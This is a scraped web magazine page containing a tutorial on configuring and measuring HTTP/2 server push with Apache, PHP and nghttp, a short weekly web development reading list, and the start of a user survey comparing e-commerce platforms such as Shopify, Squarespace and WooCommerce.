Curt Long

Curt Long

A Comprehensive Guide To HTTP/2 Server Push

by

A Comprehensive Guide To HTTP/2 Server Push

The landscape for the performance-minded developer has changed significantly in the last year or so, with the emergence of HTTP/2 being perhaps the most significant of all. No longer is HTTP/2 a feature we pine for. It has arrived, and with it comes server push!

Aside from solving common HTTP/1 performance problems (e.g., head of line blocking and uncompressed headers), HTTP/2 also gives us server push! Server push allows you to send site assets to the user before they’ve even asked for them. It’s an elegant way to achieve the performance benefits of HTTP/1 optimization practices such as inlining, but without the drawbacks that come with that practice.

In this article, you’ll learn all about server push, from how it works to the problems it solves. You’ll also learn how to use it, how to tell if it’s working, and its impact on performance. Let’s begin!

What Is Server Push, Exactly? Link

Accessing websites has always followed a request and response pattern. The user sends a request to a remote server, and with some delay, the server responds with the requested content.

The initial request to a web server is commonly for an HTML document. In this scenario, the server replies with the requested HTML resource. The HTML is then parsed by the browser, where references to other assets are discovered, such as style sheets, scripts and images. Upon their discovery, the browser makes separate requests for those assets, which are then responded to in kind.

1
Typical web server communication (Large preview2)

The problem with this mechanism is that it forces the user to wait for the browser to discover and retrieve critical assets until after an HTML document has been downloaded. This delays rendering and increases load times.

With server push, we have a solution to this problem. Server push lets the server preemptively “push” website assets to the client without the user having explicitly asked for them. When used with care, we can send what we know the user is going to need for the page they’re requesting.

Let’s say you have a website where all pages rely on styles defined in an external style sheet named styles.css. When the user requests index.html from the server, we can push styles.css to the user just after we begin sending the response for index.html.

Web Server Communication with HTTP/2 server push.3
Web server communication with HTTP/2 server push. (Large preview4)

Rather than waiting for the server to send index.html and then waiting for the browser to request and receive styles.css, the user only has to wait for the server to respond with bothindex.html and styles.css on the initial request. This means that the browser can begin rendering the page faster than if it had to wait.

As you can imagine, this can decrease the rendering time of a page. It also solves some other problems, particularly in front-end development workflows.

What Problems Does Server Push Solve? Link

While reducing round trips to the server for critical content is one of the problems that server push solves, it’s not the only one. Server push acts as a suitable alternative for a number of HTTP/1-specific optimization anti-patterns, such as inlining CSS and JavaScript directly into HTML, as well as using the data URI scheme5 to embed binary data into CSS and HTML.

These techniques found purchase in HTTP/1 optimization workflows because they decrease what we call the “perceived rendering time” of a page, meaning that while the overall loading time of a page might not be reduced, the page will appear to load faster for the user. It makes sense, after all. If you inline CSS into an HTML document within <style> tags, the browser can begin applying styles immediately to the HTML without waiting to fetch them from an external source. This concept holds true with inlining scripts and inlining binary data with the data URI scheme.

Web Server Communication with Inlined Content.

Web server communication with inlined content (Large preview6)

Seems like a good way to tackle the problem, right? Sure — for HTTP/1 workflows, where you have no other choice. The poison pill we swallow when we do this, however, is that the inlined content can’t be efficiently cached. When an asset like a style sheet or JavaScript file remains external and modular, it can be cached much more efficiently. When the user navigates to a subsequent page that requires that asset, it can be pulled from the cache, eliminating the need for additional requests to the server.

Optimal caching behavior.7
Optimal caching behavior. (Large preview8)

When we inline content, however, that content doesn’t have its own caching context. Its caching context is the same as the resource it’s inlined into. Take an HTML document with inlined CSS, for instance. If the caching policy of the HTML document is to always grab a fresh copy of the markup from the server, then the inlined CSS will never be cached on its own. Sure, the document that it’s a part of may be cached, but subsequent pages containing this duplicated CSS will be downloaded repeatedly. Even if the caching policy is more lax, HTML documents typically have limited shelf life. This is a trade-off that we’re willing to make in HTTP/1 optimization workflows, though. It does work, and it’s quite effective for first-time visitors. First impressions are often the most important.

These are the problems that server push addresses. When you push assets, you get the practical benefits that come with inlining, but you also get to keep your assets in external files that retain their own caching policy. There is a caveat to this point, though, and it’s covered toward the end of this article. For now, let’s continue.

I’ve talked enough about why you should consider using server push, as well as the problems that it fixes for both the user and the developer. Now let’s talk about how it’s used.

How To Use Server Push Link

Using server push usually involves using the Link HTTP header, which takes on this format:

Link: </css/styles.css>; rel=preload; as=style

Note that I said usually. What you see above is actually the preload resource hint9 in action. This is a separate and distinct optimization from server push, but most (not all) HTTP/2 implementations will push an asset specified in a Link header containing a preload resource hint. If either the server or the client opts out of accepting the pushed resource, the client can still initiate an early fetch for the resource indicated.

The as=style portion of the header is not optional. It informs the browser of the pushed asset’s content type. In this case, we use a value of style to indicate that the pushed asset is a style sheet. You can specify other content types10. It’s important to note that omitting the as value can result in the browser downloading the pushed resource twice. So don’t forget it!

Now that you know how a push event is triggered, how do we set the Link header? You can do so through two routes:

  • your web server configuration (for example, Apache httpd.conf or .htaccess);
  • a back-end language function (for example, PHP’s header function).

Setting the Link Header in Your Server Configuration Link

Here’s an example of configuring Apache (via httpd.conf or .htaccess) to push a style sheet whenever an HTML file is requested:

<FilesMatch ".html$"> Header set Link "</css/styles.css>; rel=preload; as=style" <FilesMatch>

Here, we use the FilesMatch directive to match requests for files ending in .html. When a request comes along that matches this criteria, we add a Link header to the response that tells the server to push the resource at /css/styles.css.

Side note: Apache’s HTTP/2 module can also initiate a push of resources using the H2PushResource directive. The documentation for this directive states that this method can initiate pushes earlier than if the Link header method is used. Depending on your specific setup, you may not have access to this feature. The performance tests shown later in this article use the Link header method.

As of now, Nginx doesn’t support HTTP/2 server push, and nothing so far in the software’s changelog11 has indicated that support for it has been added. This may change as Nginx’s HTTP/2 implementation matures.

Setting the Link Header in Back-End Code Link

Another way to set a Link header is through a server-side language. This is useful when you aren’t able to change or override the web server’s configuration. Here’s an example of how to use PHP’s header function to set the Link header:

header("Link: </css/styles.css>; rel=preload; as=style");

If your application resides in a shared hosting environment where modifying the server’s configuration isn’t an option, then this method might be all you’ve got to go on. You should be able to set this header in any server-side language. Just be sure to do so before you begin sending the response body, to avoid potential runtime errors.

Pushing Multiple Assets Link

All of our examples so far only illustrate how to push one asset. What if you want to push more than one? Doing that would make sense, right? After all, the web is made up of more than just style sheets. Here’s how to push multiple assets:

Link: </css/styles.css>; rel=preload; as=style, </js/scripts.js>; rel=preload; as=script, </img/logo.png>; rel=preload; as=image

When you want to push multiple resources, just separate each push directive with a comma. Because resource hints are added via the Link tag, this syntax is how you can mix in other resource hints with your push directives. Here’s an example of mixing a push directive with a preconnect resource hint:

Link: </css/styles.css>; rel=preload; as=style, <https://fonts.gstatic.com>; rel=preconnect

Multiple Link headers are also valid. Here’s how you can configure Apache to set multiple Link headers for requests to HTML documents:

<FilesMatch ".html$"> Header add Link "</css/styles.css>; rel=preload; as=style" Header add Link "</js/scripts.js>; rel=preload; as=script" <FilesMatch>

This syntax is more convenient than stringing together a bunch of comma-separated values, and it works just the same. The only downside is that it’s not quite as compact, but the convenience is worth the few extra bytes sent over the wire.

Now that you know how to push assets, let’s see how to tell whether it’s working.

How To Tell Whether Server Push Is Working Link

So, you’ve added the Link header to tell the server to push some stuff. The question that remains is, how do you know if it’s even working?

This varies by browser. Recent versions of Chrome will reveal a pushed asset in the initiator column of the network utility in the developer tools.

12
Chrome indicating that an asset has been pushed by the server (Large preview13)

Furthermore, if we hover over the asset in the network request waterfall, we’ll get detailed timing information on the asset’s push:

Chrome showing detailed timing information of the pushed asset14
Chrome showing detailed timing information of the pushed asset (Large preview15)

Firefox is less obvious in identifying pushed assets. If an asset has been pushed, its status in the browser’s network utility in the developer tools will show up with a gray dot.

16
Firefox indicating that an asset has been pushed by the server (Large preview17)

If you’re looking for a definitive way to tell whether an asset has been pushed by the server, you can use the nghttp command-line client18 to examine a response from an HTTP/2 server, like so:

nghttp -ans https://jeremywagner.me

This command will show a summary of the assets involved in the transaction. Pushed assets will have an asterisk next to them in the program output, like so:

id responseEnd requestStart process code size request path 13 +50.28ms +1.07ms 49.21ms 200 3K / 2 +50.47ms * +42.10ms 8.37ms 200 2K /css/global.css 4 +50.56ms * +42.15ms 8.41ms 200 157 /css/fonts-loaded.css 6 +50.59ms * +42.16ms 8.43ms 200 279 /js/ga.js 8 +50.62ms * +42.17ms 8.44ms 200 243 /js/load-fonts.js 10 +74.29ms * +42.18ms 32.11ms 200 5K /img/global/jeremy.png 17 +87.17ms +50.65ms 36.51ms 200 668 /js/lazyload.js 15 +87.21ms +50.65ms 36.56ms 200 2K /img/global/book-1x.png 19 +87.23ms +50.65ms 36.58ms 200 138 /js/debounce.js 21 +87.25ms +50.65ms 36.60ms 200 240 /js/nav.js 23 +87.27ms +50.65ms 36.62ms 200 302 /js/attach-nav.js

Here, I’ve used nghttp on my own website19, which (at least at the time of writing) pushes five assets. The pushed assets are marked with an asterisk on the left side of the requestStart column.

Now that we can identify when assets are pushed, let’s see how server push actually affects the performance of a real website.

Measuring Server Push Performance Link

Measuring the effect of any performance enhancement requires a good testing tool. Sitespeed.io20 is an excellent tool available via npm21; it automates page testing and gathers valuable performance metrics. With the appropriate tool chosen, let’s quickly go over the testing methodology.

Testing Methodology Link

I wanted measure the impact of server push on website performance in a meaningful way. In order for the results to be meaningful, I needed to establish points of comparison across six separate scenarios. These scenarios are split across two facets: whether HTTP/2 or HTTP/1 is used. On HTTP/2 servers, we want to measure the effect of server push on a number of metrics. On HTTP/1 servers, we want to see how asset inlining affects performance in the same metrics, because inlining is supposed to be roughly analogous to the benefits that server push provides. Specifically, these scenarios are the following:

  • HTTP/2 without server push

    In this state, the website runs on the HTTP/2 protocol, but nothing whatsoever is pushed. The website runs “stock,” so to speak.
  • HTTP/2 pushing only CSS

    Server push is used, but only for the website’s CSS. The CSS for the website is quite small, weighing in at a little over 2 KB with Brotli compression22 applied.
  • Pushing the kitchen sink

    All assets in use on all pages across the website are pushed. This includes the CSS, as well as 1.4 KB of JavaScript spread across six assets, and 5.9 KB of SVG images spread across five assets. All quoted file sizes are, again, after Brotli compression has been applied.
  • HTTP/1 with no assets inlined

    The website runs on HTTP/1, and no assets are inlined to reduce the number of requests or increase rendering speed.
  • Inlining only CSS

    Only the website’s CSS is inlined.
  • Inlining the kitchen sink

    All assets in use on all pages across the website are inlined. CSS and scripts are inlined, but SVG images are base64-encoded and embedded directly into the markup. It should be noted that base64-encoded data is roughly 1.37 times larger23 than its unencoded equivalent.

In each scenario, I initiated testing with the following command:

sitespeed.io -d 1 -m 1 -n 25 -c cable -b chrome -v https://jeremywagner.me

If you want to know the ins and outs of what this command does, you can check out the documentation24. The short of it is that this command tests my website’s home page at https://jeremywagner.me25 with the following conditions:

  • The links in the page are not crawled. Only the specified page is tested.
  • The page is tested 25 times.
  • A “cable-like” network throttling profile is used. This translates to a round trip time of 28 milliseconds, a downstream speed of 5,000 kilobits per second and an upstream speed of 1,000 kilobits per second.
  • The test is run using Google Chrome.

Three metrics were collected and graphed from each test:

  • first paint time

    This is the point in time at which the page can first be seen in the browser. When we strive to make a page “feel” as though it is loading quickly, this is the metric we want to reduce as much as possible.
  • DOMContentLoaded time

    This is the time at which the HTML document has completely loaded and has been parsed. Synchronous JavaScript code will block the parser and cause this figure to increase. Using the async attribute on <script> tags can help to prevent parser blocking.
  • page-loading time

    This is the time it takes for the page and its assets to fully load.

With the parameters of the test determined, let’s see the results!

Test Outcomes Link

Tests were run across the six scenarios specified earlier, with the results graphed. Let’s start by looking at how first paint time is affected in each scenario:

First paint time26
First paint time (Large preview27)

Let’s first talk a bit about how the graph is set up. The portion of the graph in blue represents the average first paint time. The orange portion is the 90th percentile. The grey portion represents the maximum first paint time.

Now let’s talk about what we see. The slowest scenarios are both the HTTP/2- and HTTP/1-driven websites with no enhancements at all. We do see that using server push for CSS helps to render the page about 8% faster on average than if server push is not used at all, and even about 5% faster than inlining CSS on an HTTP/1 server.

When we push all assets that we possibly can, however, the picture changes somewhat. First paint times increase slightly. In HTTP/1 workflows where we inline everything we possibly can, we achieve performance similar to when we push assets, albeit slightly less so.

The verdict here is clear: With server push, we can achieve results that are slightly better than what we can achieve on HTTP/1 with inlining. When we push or inline many assets, however, we observe diminishing returns.

It’s worth noting that either using server push or inlining is better than no enhancement at all for first-time visitors. It’s also worth noting that these tests and experiments are being run on a website with small assets, so this test case may not reflect what’s achievable for your website.

Let’s examine the performance impacts of each scenario on DOMContentLoaded time:

DOMContentLoaded time28
DOMContentLoaded time (Large preview29)

The trends here aren’t much different than what we saw in the previous graph, except for one notable departure: The instance in which we inline as many assets as practical on a HTTP/1 connection yields a very low DOMContentLoaded time. This is presumably because inlining reduces the number of assets needed to be downloaded, which allows the parser to go about its business without interruption.

Now, let’s look at how page-loading times are affected in each scenario:

Page-loading time30
Page-loading time (Large preview31)

The established trends from earlier measurements generally persist here as well. I found that pushing only the CSS realized the greatest benefit to loading time. Pushing too many assets could, on some occasions, make the web server a bit sluggish, but it was still better than not pushing anything at all. Compared to inlining, server push yielded better overall loading times than inlining did.

Before we conclude this article, let’s talk about a few caveats you should be aware of when it comes to server push.

Caveats On Using Server Push Link

Server push isn’t a panacea for your website’s performance maladies. It has a few drawbacks that you need to be cognizant of.

You Can Push Too Much Stuff Link

In one of the scenarios above, I am pushing a lot of assets, but all of them altogether represent a small portion of the overall data. Pushing a lot of very large assets at once could actually delay your page from painting or being interactive sooner, because the browser needs to download not only the HTML, but all of the other assets that are being pushed alongside of it. Your best bet is to be selective in what you push. Style sheets are a good place to start (so long as they aren’t massive). Then evaluate what else makes sense to push.

You Can Push Something That’s Not on the Page Link

This is not necessarily a bad thing if you have visitor analytics to back up this strategy. A good example of this may be a multi-page registration form, where you push assets for the next page in the sign-up process. Let’s be crystal clear, though: If you don’t know whether you should force the user to preemptively load assets for a page they haven’t seen yet, then don’t do it. Some users might be on restricted data plans, and you could be costing them real money.

Configure Your HTTP/2 Server Properly Link

Some servers give you a lot of server push-related configuration options. Apache’s mod_http2 has some options for configuring how assets are pushed. The H2PushPriority setting32 should be of particular interest, although in the case of my server, I left it at the default setting. Some experimentation could yield additional performance benefits. Every web server has a whole different set of switches and dials for you to experiment with, so read the manual for yours and find out what’s available!

Pushes May Not Be Cached Link

There has been some gnashing of teeth over whether server push could hurt performance in that returning visitors may have assets needlessly pushed to them again. Some servers do their best to mitigate this. Apache’s mod_http2 uses the H2PushDiarySize setting33 to optimize this somewhat. H2O Server has a feature called Cache Aware server push34 that uses a cookie mechanism to remember pushed assets.

If you don’t use H2O Server, you can achieve the same thing on your web server or in server-side code by only pushing assets in the absence of a cookie. If you’re interested in learning how to do this, then check out a post I wrote about it on CSS-Tricks35. It’s also worth mentioning that browsers can send an RST_STREAM frame to signal to a server that a pushed asset is not needed. As time goes on, this scenario will be handled much more gracefully.

As sad it may seem, we’re nearing the end of our time together. Let’s wrap things up and talk a bit about what we’ve learned.

Final Thoughts Link

If you’ve already migrated your website to HTTP/2, you have little reason not to use server push. If you have a highly complex website with many assets, start small. A good rule of thumb is to consider pushing anything that you were once comfortable inlining. A good starting point is to push your site’s CSS. If you’re feeling more adventurous after that, then consider pushing other stuff. Always test changes to see how they affect performance. You’ll likely realize some benefit from this feature if you tinker with it enough.

If you’re not using a cache-aware server push mechanism like H2O Server’s, consider tracking your users with a cookie and only pushing assets to them in the absence of that cookie. This will minimize unnecessary pushes to known users, while improving performance for unknown users. This not only is good for performance, but also shows respect to your users with restricted data plans.

All that’s left for you now is to try out server push for yourself. So get out there and see what this feature can do for you and your users! If you want to know more about server push, check out the following resources:

Thanks to Yoav Weiss39 for clarifying that the as attribute is required (and not optional as the original article stated), as well as a couple of other minor technical issues. Additional thanks goes to Jake Archibald40 for pointing out that the preload resource hint is an optimization distinct from server push.

This article is about an HTTP/2 feature named server push. This and many other topics are covered in Jeremy’s book Web Performance in Action41. You can get it or any other Manning Publications42 book for 42% off with the coupon code sswagner!

(rb, vf, al, il)

Footnotes Link

  1. 1 http://provide.smashingmagazine.com/normal-server-response.svg
  2. 2 http://provide.smashingmagazine.com/normal-server-response.svg
  3. 3 http://provide.smashingmagazine.com/server-push-response.svg
  4. 4 http://provide.smashingmagazine.com/server-push-response.svg
  5. 5 https://en.wikipedia.org/wiki/Data_URI_scheme
  6. 6 http://provide.smashingmagazine.com/inlined-content-unopt.svg
  7. 7 http://provide.smashingmagazine.com/caching-unopt.svg
  8. 8 http://provide.smashingmagazine.com/caching-unopt.svg
  9. 9 https://w3c.github.io/preload
  10. 10 https://w3c.github.io/preload/#link-element-interface-extensions
  11. 11 https://nginx.org/en/CHANGES
  12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/02/chrome-push-indicator-large-opt.png
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/02/chrome-push-indicator-large-opt.png
  14. 14 https://www.smashingmagazine.com/wp-content/uploads/2017/02/push-timing-large-opt.png
  15. 15 https://www.smashingmagazine.com/wp-content/uploads/2017/02/push-timing-large-opt.png
  16. 16 https://www.smashingmagazine.com/wp-content/uploads/2017/02/firefox-push-indicator-large-opt.png
  17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/02/firefox-push-indicator-800w-opt.png
  18. 18 https://nghttp2.org
  19. 19 https://jeremywagner.me
  20. 20 https://www.sitespeed.io
  21. 21 https://www.npmjs.com
  22. 22 https://www.smashingmagazine.com/2016/10/next-generation-server-compression-with-brotli
  23. 23 https://en.wikipedia.org/wiki/Base64#MIME
  24. 24 https://www.sitespeed.io/documentation/sitespeed.io/configuration
  25. 25 https://jeremywagner.me
  26. 26 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-first-paint-800w-opt.png
  27. 27 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-first-paint-800w-opt.png
  28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-domcontentloaded-large-opt.png
  29. 29 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-domcontentloaded-large-opt.png
  30. 30 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-page-load-large-opt.png
  31. 31 https://www.smashingmagazine.com/wp-content/uploads/2017/02/graph-page-load-800w-opt.png
  32. 32 https://httpd.apache.org/docs/2.4/mod/mod_http2.html#h2pushpriority
  33. 33 https://httpd.apache.org/docs/2.4/mod/mod_http2.html#h2pushdiarysize
  34. 34 https://h2o.examp1e.net/configure/http2_directives.html
  35. 35 https://css-tricks.com/cache-aware-server-push
  36. 36 https://tools.ietf.org/html/rfc7540#section-8.2
  37. 37 https://www.filamentgroup.com/lab/modernizing-delivery.html
  38. 38 https://www.igvita.com/2013/06/12/innovating-with-http-2.0-server-push/
  39. 39 https://blog.yoav.ws.
  40. 40 https://jakearchibald.com
  41. 41 https://manning.com/books/web-performance-in-action?a_aid=webopt&a_bid=63c31090
  42. 42 https://manning.com

↑ Back to topTweet itShare on Facebook

Web Development Reading List #177: Getting Started With Components, CT-Header, And New Regular Expressions

by

Web Development Reading List #177: Getting Started With Components, CT-Header, And New Regular Expressions

From time to time, we need to take some time off, and actually, I’m glad that this reading list is a bit shorter as the ones you’re used to. Because one thing that really stuck with me this week was Eric Karjaluoto’s article.

In his article, he states that, “Taking pride in how busy we are is one of the worst ideas we ever had.” So, how about reading just a few articles this week for a change and then take a complete weekend off to recharge your battery?

Further Reading on SmashingMag: Link

News Link

  • The next major release of Angular, Angular 4.05, is now available. It’s smaller and faster than it’s predecessor and ships flat ES modules.

Concept & Design Link

7
Nathan Curtis shares tips on engaging the entire team to kick off a design library8. (Image credit: Nathan Curtis9)

Security Link

Tizen smartphone13
Security researchers have found 40 unknown vulnerabilities in Tizen14, the operating system that runs on millions of Samsung products. (Image credit: Kārlis Dambrāns15)

Privacy Link

  • In the past, we tended to teach people to use a VPN if they wanted to stay secure. But now we know that by far not all VPN services have good intentions16. Some even inject advertising and privacy-leaking data into your network requests or sell your history to third parties.

JavaScript Link

Work & Life Link

  • Eric Karjaluoto shares why we need to slow down18, and why taking pride in how busy we are is one of the worst ideas we ever had. What if the best thing you can do for your career — and life — is to press pause, set your number one priority, and then rethink your way of working?

And with that, I’ll close for this week. If you like what I write each week, please support me with a donation19 or share this resource with other people. You can learn more about the costs of the project here20. It’s available via email, RSS and online.

— Anselm

Footnotes Link

  1. 1 https://www.smashingmagazine.com/taking-pattern-libraries-next-level/
  2. 2 https://www.smashingmagazine.com/2016/06/designing-modular-ui-systems-via-style-guide-driven-development/
  3. 3 https://www.smashingmagazine.com/2014/10/maximize-your-creative-energy/
  4. 4 https://www.smashingmagazine.com/2015/10/es6-whats-new-next-version-javascript/
  5. 5 https://angularjs.blogspot.de/2017/03/angular-400-now-available.html?m=1
  6. 6 https://medium.com/eightshapes-llc/the-component-cut-up-workshop-1378ae110517?scid=social71322026
  7. 7 https://medium.com/eightshapes-llc/the-component-cut-up-workshop-1378ae110517?scid=social71322026
  8. 8 https://medium.com/eightshapes-llc/the-component-cut-up-workshop-1378ae110517?scid=social71322026
  9. 9 https://medium.com/eightshapes-llc/the-component-cut-up-workshop-1378ae110517?scid=social71322026
  10. 10 https://scotthelme.co.uk/a-new-security-header-expect-ct/
  11. 11 https://arstechnica.com/security/2017/03/smart-tv-hack-embeds-attack-code-into-broadcast-signal-no-access-required/
  12. 12 https://motherboard.vice.com/en_us/article/samsung-tizen-operating-system-bugs-vulnerabilities
  13. 13 https://motherboard.vice.com/en_us/article/samsung-tizen-operating-system-bugs-vulnerabilities
  14. 14 https://motherboard.vice.com/en_us/article/samsung-tizen-operating-system-bugs-vulnerabilities
  15. 15 https://www.flickr.com/photos/janitors/16536562988/in/photolist-rchd3Y-o13k8E-qx56W6-rchVLj-bWV3Kj-hxbrX1-hxaGb4-hxaGqT-bXDr5A-bXDqZ7-6uLqGA-hxaZdm-bXDrvG-hxcvsV-hxcwG8-hxcrEe-bXDrxm-bXDtQJ-bXDtWJ-hxLCix-bXDrz1-bXDr9f-kwodgw-bXDrSN-bXDqW9-dHaR6a-bXDr7W-fH91o3-bXDrcb-bXDsD9-bXDqGN-bXDsxJ-CYBJQS-arcj4y-bXDqUo-bXDrE7-bXDrXL-dmDVf1-bXDrsf-Hyxu6C-bXDrJL-oAK3iw-hxHeKp-oExtQE-hxHZbG-pnCwed-s7oTbE-hxJQr6-hxJZyc-hxLCqg
  16. 16 https://motherboard.vice.com/en_us/article/phony-vpn-services-are-cashing-in-on-americas-war-on-privacy
  17. 17 https://ponyfoo.com/articles/regular-expressions-post-es6
  18. 18 http://blog.officehours.io/slow-the-fuck-down/
  19. 19 https://wdrl.info/donate
  20. 20 https://wdrl.info/costs/

↑ Back to topTweet itShare on Facebook

An Overview Of E-Commerce Platforms

by

An Overview Of E-Commerce Platforms

Did you know that bandwidth overage charges are (still) a problem and most users prefer not to rely on a developer? Well, I talked to 917 (real-life) users and created a guide to help others find the e-commerce software that suits them best.

I completed this guide by searching for websites built with e-commerce software (you can verify by looking at the source code — certain code strings are unique to the software). Once I found a website, I (or one of my virtual assistants) would email the owner and ask if they’d recommend a particular software. Typically, they’d reply and I’d record their response in a spreadsheet (and personally thank them). Occasionally, I would even go on the phone to speak with them directly (although I quickly found out that this took too much time).

Here’s what I discovered.

Further Reading on SmashingMag: Link

Customer Satisfaction Link

I calculated customer satisfaction by finding the percentage of active users who recommend the software:

E-commerce software Recommendation %
Shopify 98%
Squarespace 94%
Big Cartel 91%
WooCommerce 90%
OpenCart 88%
Jumpseller 86%
GoDaddy 83%
CoreCommerce 80%
BigCommerce 79%
Ubercart 78%
Wix 76%
Magento 74%
Weebly 74%
3dcart 72%
PrestaShop 70%
Goodsie 65%
Spark Pay 65%
Volusion 51%

Shopify is the pretty clear winner, with Squarespace close behind — but both companies are actually complementary. Shopify is a complete, robust solution that works for both small and large stores, while Squarespace is a simple, approachable platform that works well for stores just starting out. (Worth noting: I’ve done similar surveys for portfolio builders5 and landing-page builders6, and Shopify is the only company I’ve seen score higher than 95% in customer satisfaction.)

But looking only at customer satisfaction is not enough. After all, e-commerce platforms have different strengths. So, I also asked users what they like and dislike about their software and found some important insights about each company.

Shopify (98%) Link

What Users Like Link

App store and features

“The best thing is that you don’t need a developer to add features… there’s a ton of apps available.” | “Their partner ecosystem is best.” | “Shopify has any feature under the sun — if you think you need it, someone already created an app.” | “Access to Shopify Apps is great.” | “There’s heaps of third-party apps you can integrate easily that I believe are essential to growing a business.” | “So many third-party apps, templates that other platforms aren’t popular enough to have.” | “There are many apps that can help with customization issues.” | “There are a ton of great third-party apps for extended functionality.”

Ease of use

“Easy to set up without having specific skills.” | “Intuitive user interface.” | “Simple to use.” | “It is very easy to start selling online.” | “Easy UI, pretty intuitive.” | “The interface is excellent for managing e-commerce.” | “It’s really clean and easy to manage.” | “Shopify provides a very straightforward way to add products, edit options and to apply different themes.” | “More than anything, very simple.” | “It’s simple and intuitive.” | “Very user-friendly.” | “Super user-friendly for non-computer guys like myself.” | “The back end is exceptional.”

7
Users love Shopify’s App Store. (View large version8)

Squarespace (94%) Link

What Users Like Link

Ease of use

“It’s very easy to use.” | “The e-commerce is so easy to use.” | “It’s easy to configure, simple to add, delete and modify our inventory, and most importantly it allows us to easily keep track of our ins and outs with helpful metrics and sales graphs.” | “It’s very easy to set up.” | “The user interface is easy to use.” | “Commerce is really nice and easy to set up.” | “Love the interface, very easy to work with.” | “I find it easy to use.” | “It was pretty easy to set up and has been a snap to maintain.” | “It’s all pretty smooth and easy.” | “It’s super-easy.” | “I’ve tried Drupal, WordPress… the interface and creative ability of Squarespace is much superior.”

Templates

“Has some great templates for a good-looking website.” | “Squarespace is an easy way to get a great looking site.” | “The sites are beautiful.” | “The templates and editing features on the blog and site are super-easy.” | “The thing I like most are the beautiful and easy templates.”

What Users Don’t Like Link

Limitations

“The only thing I would say they need to improve is allowing more than one currency on the e-commerce site, which currently is not available.” | “It works pretty good for basic sales of items.” | “There are some limitations in terms of customizing, but they are minor.” | “If you are using it as is and just need the limited feature set that it comes with, it’s a great option.” | “Overall, it’s great for putting a few simple products up, but if you need anything beyond their default cart options, get a proper Squarespace developer or someone to set up a Shopify site for you.” | “It is really a great place to start, but unfortunately a place that is easily transitioned out of once the business begins to grow.”

Shipping

“My partners have had some concerns with the shipping aspect, though.” | “Yes, I would recommend it, but Squarespace needs to have calculated shipping for all the plans.” | “The shipping is still something I wish was a little easier.” | “The only thing I would say is that, for me, the shipping options are more limited than I would like.” | “There are some features I wish were better implemented in the base package (like shipping integration for international orders), but I’d recommend it.”

Squarespace9
Users love Squarespace’s sleek and simple themes. (View large version10)

Big Cartel (91%) Link

What Users Like Link

Good for new stores

“I would recommend Big Cartel for smaller shops.” | “I would recommend it, especially startup users.” | “It’s a great place to start out!” | “We’d recommend it for similar businesses, especially those just getting started.” | “It is a great platform for something really simple and was very easy to set up.” | “Big Cartel is great for beginning stages of a store. We’re actually entertaining moving to a new platform right now.” | “It’s quite good for a small company or startup, for sure.” | “I’m finding that in the early stages of the business, it’s extremely handy for stock listing and very straightforward to use.”

Ease of use

“It’s very easy to use.” | “It’s very easy to use, navigate and customize the shopfront.” | “I am particularly fond of the back end and the admin tools. They make maintaining and shipping products a breeze.” | “It’s super-simple and really user-friendly.” | “I’m not savvy, so it works well for my skill level.” | “Easy to set up… and easy to control and set inventory.” | “They make it so easy to have a beautiful website.” | “For just a few items, Big Cartel totally gets the job done and is user-friendly.”

Price

“I only have to pay $9.99 a month for Big Cartel. That’s a huge perk for me.” | “Low price point and easy to use.” | “The rates are the lowest considering all the things you’re able to do.” | “I have found the cost is a lot better than my Etsy store.” | “You get a great platform for a great price.” | “Compared to Etsy, the fees are ridiculously cheap!” | “One fee a month, no item fees per listing… There is an option to open a store for free with five listings. This is an amazing feature.” | “Their prices are also very reasonable.”

What Users Don’t Like Link

Limitations

“Lacking in features.” | “It is limited in terms of themes… You always know when you’re on a Big Cartel site.” | “It does most of what I expect of it, but also has limitations.” | “The one problem I have is that the only options for receiving payments are PayPal and Stripe.” | “If you want more of an interactive site with blogs and videos and whatnot, I think there are better options out there.” | “We are currently moving over to Shopify because we have maxed out Big Cartel’s limited 300-item store capacity. That is the only downside of Big Cartel.” | “You are limited by what Big Cartel allows you to do. For example, there are certain promotions that I would like to do, but currently Big Cartel has no way of allowing it.”

Big Cartel11
Big Cartel is simple, which makes it easy to use and perfect for stores just starting out. (View large version12)

WooCommerce (90%) Link

What Users Like Link

Extensions

“Many useful plugins for it.” | “So many features.” | “There are plenty of add-ons with it to customize shop as we need.” | “Fully customizable.” | “The plugin architecture is great.” | “It also has a lot of plugins.” | “It’s very good if you are looking for something that can do anything… there are extensions available, and coders who can write plugins.” | “I’m a fan of the plugins because it allows for a lot of customization.”

Ecosystem

“The ecosystem is well supported.” | “Great support with a whole online community dedicated to it.” | “I’m always able to find the answer to any question I have, either through the official WooCommerce knowledge base or in the community forums.”

What Users Don’t Like Link

Developer may be required

“Custom modifications do require somewhat advanced developer knowledge.” | “WooCommerce does require knowledge in website building… At one point, it became extremely slow, and I couldn’t figure out where the problem was.” | “What should be native often requires plugins or coding.” | “Very customizable with some code editing.” | “WooCommerce definitely requires a solid knowledge of the inner workings.” | “There definitely is a learning curve, but it is not too hard to master.” | “It had to be highly customized for us by our website developers.”

WooCommerce13
WooCommerce users love the huge selection of extensions they can add to their stores. (View large version14)

OpenCart (88%) Link

What Users Like Link

Extensions

“There are plenty of extensions (free and for purchase).” | “Tons of extensions to make it really awesome.” | “OpenCart extensions… have been very valuable and reliable.” | “Customization does need IT capabilities, though.” | “The software is only as good as its implementers.”

What Users Don’t Like Link

Often requires a developer

“It took some PHP programming to get it completely as we wish, but now it works fine and suits my goals well.” | “If you do not have someone capable of working behind the scenes, it would be difficult to manage.” | “I’d recommend it if and only if you have at least some knowledge web programming (PHP, JavaScript, XML, MySQL, etc.).” | “Not recommended for anyone without some web programming knowledge.” | “With the right technical staff, yes I would.” | “If you would be a serious user, I can recommend OpenCart, but also I would recommend hiring a developer to make all custom improvements.” | “Yes, I would recommend it as a good platform with cheap extensions.” | “There is also a large amount of high-quality extensions.” | “Tons of plugins, both free to paid.”

Extensions can create bugs

“When you modify it, it does amazing things but is super-finicky.” | “Buying and installing extensions is a bad idea… It’s not a plug-and-play procedure.” | “As we grew bigger, there have been headaches, mostly to do with third-party extensions clashing with each other.”

OpenCart15
OpenCart offers a large marketplace of extensions, which users love. (View large version16)

